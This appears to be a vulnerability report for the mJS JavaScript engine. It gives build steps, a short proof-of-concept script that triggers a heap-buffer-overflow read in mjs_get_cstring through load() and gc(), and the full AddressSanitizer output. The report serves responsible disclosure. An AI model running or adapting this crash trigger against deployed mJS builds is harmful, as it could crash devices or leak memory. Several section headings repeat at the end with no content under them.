vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js
```javascript
function JSEtest(a) {
(typeof((typeof"cookie-present" !== gc("$$abcdabcd")) !== function() {
return 100;
})) !== function() {
return 100;
};
if ("cookie-present" !== gc("$$abcdabcd"))
gc(true);
if (a < 10)
load(gc(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp'])));;
if (a < 1)
JSEtest(a+1);;
}
JSEtest(0)
```
Execution steps & Output
$ ./mjs/build/mjs poc.js
=====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000000203 at pc 0x5581d25fa021 bp 0x7ffff5880770 sp 0x7ffff5880760
READ of size 1 at 0x60f000000203 thread T0
#0 0x5581d25fa020 in mjs_get_cstring src/mjs_string.c:213
#1 0x5581d253f5aa in mjs_load src/mjs_builtin.c:58
#2 0x5581d2559244 in mjs_execute src/mjs_exec.c:853
#3 0x5581d2562a05 in mjs_exec_internal src/mjs_exec.c:1073
#4 0x5581d2562a05 in mjs_exec_file src/mjs_exec.c:1096
#5 0x5581d251f909 in main src/mjs_main.c:47
#6 0x7f20b4fd4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x5581d2520449 in _start (/usr/local/bin/Gmjs+0xe449)
Address 0x60f000000203 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring
Shadow bytes around the buggy address:
0x0c1e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8000: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c1e7fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c1e7fff8020: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8030: 00 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa
=>0x0c1e7fff8040:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output
Credits: Found by OWL337 team.